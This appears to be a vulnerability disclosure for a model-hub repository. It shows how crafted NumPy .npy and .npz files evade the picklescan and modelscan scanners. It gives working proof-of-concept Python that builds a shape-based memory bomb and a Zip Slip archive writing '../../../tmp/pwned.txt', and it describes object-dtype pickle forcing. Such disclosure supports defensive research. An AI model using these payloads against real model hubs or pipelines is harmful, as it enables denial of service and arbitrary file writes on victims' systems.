vellaveto/npy-npz-scanner-bypass-poc
NPY/NPZ: Memory Bomb via Crafted Shape, Zip Slip in NPZ Archives, Object Dtype Bypass
Summary
Three non-pickle attack classes against NumPy's .npy and .npz model file formats that bypass both picklescan 1.0.4 and modelscan 0.8.8 (100% evasion rate across 5 payloads):
- Memory bomb via crafted header shape — A
.npyfile withshape: (1000000, 1000000)but 4 bytes of data triggers a 3.64 TiB memory allocation attempt, crashing the process. No pickle involved. - Zip Slip in `.npz` archives — NPZ files are ZIP containers. Injecting
../../../tmp/pwnedas a ZIP entry name achieves arbitrary file write when the archive is extracted to disk. - Object dtype forces pickle — Setting
descr: 'O'(object dtype) in the NPY header forces numpy to use pickle deserialization even when the user believes they're loading numeric data. This is NOT blocked byallow_pickle=False— it raises an error, but the dtype is processed from the header before the check, and the header itself can be manipulated to confuse downstream tools.
Formats: NPY, NPZ ($1,500 MFV each) Scanners tested: picklescan 1.0.4 + modelscan 0.8.8 — 5/5 MISSED by both
Payloads
Vulnerability Details
Memory bomb (CWE-400)
The NPY format has a plain-text header containing a Python dict with shape. NumPy allocates product(shape) * dtype_size bytes based on the header, WITHOUT checking that the file actually contains that much data:
# Crafted NPY header:
# {'descr': '<f4', 'fortran_order': False, 'shape': (1000000, 1000000)}
# File is only 100 bytes total
# numpy tries to allocate 1M * 1M * 4 = 4 TB → instant OOM
arr = np.load("npy_shape_bomb.npy")
# MemoryError: Unable to allocate 3.64 TiBAttack: Upload to model hub → victim loads → process crashes → DoS on inference server.
Zip Slip (CWE-22)
NPZ files are standard ZIP archives. np.load() reads them in-memory (safe), but any tool that extracts NPZ files to disk (model registries, pipeline caches, data loaders) is vulnerable:
import zipfile, io, numpy as np
with zipfile.ZipFile("malicious.npz", 'w') as zf:
buf = io.BytesIO()
np.save(buf, np.array([1.0]))
zf.writestr("weights.npy", buf.getvalue())
zf.writestr("../../../tmp/pwned.txt", b"PWNED")
# np.load reads in-memory (safe)
# But: extractall(), shutil.unpack_archive(), or ZipFile.extract() write to diskNegative shape (CWE-20)
Shape (-1,) is not validated in the header parser:
# Header: {'descr': '<f4', 'fortran_order': False, 'shape': (-1,)}
np.load("npy_negative_shape.npy")
# ValueError: Failed to read all data for array. Expected (-1,) = -1 elementsThis causes undefined behavior in size calculations. Libraries wrapping numpy that compute total_size = product(shape) * itemsize get negative results → integer underflow.
Proof of Concept
import struct, numpy as np, zipfile, io
# Memory bomb
def craft_npy(header_str, data=b''):
magic = b'\x93NUMPY\x01\x00'
header = header_str.encode('latin1')
pad = 64 - (10 + len(header)) % 64
if pad < 1: pad += 64
header = header + b' ' * (pad - 1) + b'\n'
return magic + struct.pack('<H', len(header)) + header + data
with open("npy_shape_bomb.npy", 'wb') as f:
f.write(craft_npy("{'descr': '<f4', 'fortran_order': False, 'shape': (1000000, 1000000)}", b'\x00' * 4))
# Zip Slip
with zipfile.ZipFile("npz_zipslip.npz", 'w') as zf:
buf = io.BytesIO(); np.save(buf, np.array([1.0]))
zf.writestr("weights.npy", buf.getvalue())
zf.writestr("../../../tmp/pwned.txt", b"PWNED via NPZ zip slip")References
- Payloads: https://huggingface.co/vellaveto/npy-npz-scanner-bypass-poc
- CWE-400: Uncontrolled Resource Consumption
- CWE-22: Path Traversal
- Zip Slip vulnerability
- NPY format specification
